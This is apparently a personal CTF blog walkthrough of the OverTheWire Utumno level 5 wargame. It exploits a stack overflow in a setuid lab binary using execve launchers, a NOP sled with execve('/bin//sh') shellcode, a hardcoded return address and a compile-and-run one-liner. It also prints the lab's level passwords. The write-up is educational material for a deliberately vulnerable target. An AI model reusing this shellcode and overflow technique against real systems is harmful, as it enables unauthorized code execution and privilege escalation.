Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Utumno Level 5 → 6 tutorial!!

Login

Use the password from Level 4 → 5:

ssh utumno5@utumno.labs.overthewire.org -p 2227
# password: woucaejiek

Then move to the game folder:

cd /utumno

Task

Binary: /utumno/utumno5

  • The program only proceeds if argc == 0 (like earlier levels); otherwise it prints a message then exits.
  • When argc==0, it prints one environment variable (the 10th slot) via printf("Here we go - %s\n", envp[9]) and then calls hihi(envp[9]).
  • In hihi, it copies the string into a 12-byte local buffer:

    • If strlen(s) > 0x13 (19), it uses strncpy(dst, s, 0x14) (20 bytes) → overflow.
    • Otherwise it uses strcpy(dst, s) → overflow when len > 12.

Goal: Force argc==0, ensure enough environment variables, then overflow the stack via the printed env var to control EIP and return into a NOP sled + shellcode stored in another env var.


Source Code (Disassembly Excerpt)

main (relevant parts):

cmp  [ebp+0x8], 0x0          ; argc == 0 ?
je   ok_path
push msg                     ; else: puts + exit(1)
call puts
push 1
call exit

ok_path:
mov  eax, [ebp+0xc]          ; eax = envp
add  eax, 0x28               ; envp + 10*4 bytes
mov  eax, [eax]              ; eax = envp[9]
push eax
push fmt("Here we go - %s\n")
call printf
...
push eax                     ; hihi(envp[9])
call hihi

hihi:

sub  esp, 0xc                ; 12-byte local buffer
push [ebp+0x8]
call strlen
cmp  eax, 0x13               ; > 19 ?
jbe  short_use_strcpy
push 0x14                    ; 20 bytes (!)
push [ebp+0x8]
lea  eax, [ebp-0xc]          ; 12-byte dst
push eax
call strncpy                 ; overflow
jmp  done

short_use_strcpy:
push [ebp+0x8]
lea  eax, [ebp-0xc]
push eax
call strcpy                  ; overflow if len > 12

done:
leave
ret

Exploitation Steps

1) Force argc == 0

A tiny launcher using execve("/utumno/utumno5", NULL, envp):

// code.c
#include <unistd.h>
int main(void){
    execve("/utumno/utumno5", NULL, NULL);
    return 0;
}

This segfaults because printf expects envp[9]. So give it enough env vars:

#include <unistd.h>
int main(void){
    char *envp[] = {"A","B","C","D","E","F","G","H","I","J","K","L", NULL};
    execve("/utumno/utumno5", NULL, envp);
}

Now you’ll see:

Here we go - J

2) Prove the overflow using the printed env slot

Overflow the 10th env var (index 9) to hit saved EIP:

#include <unistd.h>
int main(void){
    char *envp[] = {"","","","","","","","","",
        "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII", NULL};
    execve("/utumno/utumno5", NULL, envp);
}

Running under a tracer shows:

... SIGSEGV si_addr=0x45454545  (# 'E')

So EIP lands on the 'E's—overflow confirmed.

3) Stage shellcode in a separate env var + pick a RET

Put a NOP sled + /bin//sh shellcode in envp[8], and use envp[9] for the overflow + RET:

#include <unistd.h>
int main(void){
    char *envp[] = {
        "","","","","","","","",
        /* envp[8]: sled + shellcode */
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90"
        "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68"
        "\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80",
        /* envp[9]: overflow + RET (to sled) */
        "AAAABBBBCCCCDDDD\x8c\xdf\xff\xff",
        NULL
    };
    execve("/utumno/utumno5", NULL, envp);
}

Find an address inside the sled (example from gdb dump):

0xffffdf8c: 0x90909090 0x90909090 ...

So use RET = 0xffffdf8c\x8c\xdf\xff\xff appended after ...DDDD.

4) Pop a shell & read the password

gcc -m32 code.c -o code
./code
$ whoami
utumno6
$ cat /etc/utumno_pass/utumno6
eiluquieth

Password

From my run:

eiluquieth

Quick One-liner

cat > /tmp/u5.c <<'EOF'
#include <unistd.h>
int main(void){
  char *envp[] = {
    "","","","","","","","",
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90"
    "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80",
    "AAAABBBBCCCCDDDD\x8c\xdf\xff\xff",
    NULL
  };
  execve("/utumno/utumno5", NULL, envp);
  return 0;
}
EOF
gcc -m32 /tmp/u5.c -o /tmp/u5 && /tmp/u5 && whoami && cat /etc/utumno_pass/utumno6

Troubleshooting

  • Still exits immediately? You didn’t force argc==0. Launch via execve with argv = NULL.
  • Segfault before printing? Provide at least 10 env vars so printf("Here we go - %s", envp[9]) has a valid pointer.
  • RET not hit / wrong offset? Keep the overflow in envp[9] and verify with a marker (EEEEs0x45454545 in EIP).
  • Shellcode doesn’t run?

    • Confirm the RET points inside the sled (dump stack with gdb and pick a stable address).
    • Add more NOPs for jitter tolerance; ensure little-endian RET bytes.
    • Avoid null bytes in the overflow string before RET.

Congrats 🎉 You combined the argc==0 trick with an env-driven stack overflow to hijack control flow and jump into a sled + shellcode. Onward to Level 6 → 7!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with